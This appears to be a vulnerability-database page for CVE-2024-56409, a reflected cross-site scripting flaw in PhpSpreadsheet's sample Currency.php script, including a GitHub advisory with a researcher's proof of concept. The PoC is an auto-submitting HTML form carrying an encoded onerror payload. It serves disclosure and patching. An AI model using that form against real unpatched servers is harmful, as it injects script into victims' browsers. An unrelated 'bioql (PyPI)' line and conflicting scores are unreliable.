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CVE-2024-56409

UNKNOWN
Published 2025-01-03T17:05:43.272Z
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Description

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Currency.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

Understanding This Vulnerability

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The severity rating (UNKNOWN) indicates the potential impact of this vulnerability based on the CVSS (Common Vulnerability Scoring System) framework. Higher severity ratings typically indicate vulnerabilities that could lead to more significant security breaches if exploited. Security teams should prioritize remediation efforts based on severity, exploit availability, and the EPSS (Exploit Prediction Scoring System) score, which predicts the likelihood of exploitation in the wild.

If this vulnerability affects products or systems in your infrastructure, we recommend reviewing the affected products section, checking for available patches or updates from vendors, and implementing recommended workarounds or solutions until a permanent fix is available. Organizations should also monitor security advisories and threat intelligence feeds for updates about active exploitation of this vulnerability.

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Affected Products

References

EU Vulnerability Database

Monitored by ENISA for EU cybersecurity

EU Coordination

EU Coordinated

Exploitation Status

No Known Exploitation

ENISA Analysis

Malicious code in bioql (PyPI)

Affected Products (ENISA)

phpoffice
phpspreadsheet

ENISA Scoring

CVSS Score (4.0)

8.3
/10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L

EPSS Score

0.170
probability

Data provided by ENISA EU Vulnerability Database. Last updated: October 3, 2025

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed HIGH

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

GHSA-j2xg-cjcx-4677

Advisory Details

# Unauthorized Reflected XSS in `Currency.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the `currency` variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack. Strings are formed using the `currency` parameter without sanitization, controlled by an attacker. ![fig9](https://github.com/user-attachments/assets/dfac3fbf-de42-42af-8163-b76f0c54da6c) *Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability* ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST"> <input type="hidden" name="number" value="1234&#46;5678" /> <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display&#32;Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. <img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" /> *Figure 10. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**

Affected Packages

Packagist phpoffice/phpspreadsheet
ECOSYSTEM: ≥3.0.0 <3.7.0
Packagist phpoffice/phpspreadsheet
ECOSYSTEM: ≥0 <1.29.7
Packagist phpoffice/phpspreadsheet
ECOSYSTEM: ≥2.0.0 <2.1.6
Packagist phpoffice/phpspreadsheet
ECOSYSTEM: ≥2.2.0 <2.3.5
Packagist phpoffice/phpexcel
ECOSYSTEM: ≥0 ≤1.8.2

CVSS Scoring

CVSS Score

7.5

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

Advisory provided by GitHub Security Advisory Database. Published: January 3, 2025, Modified: March 6, 2025

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Published: 2025-01-03T17:05:43.272Z
Last Modified: 2025-01-03T18:14:49.852Z
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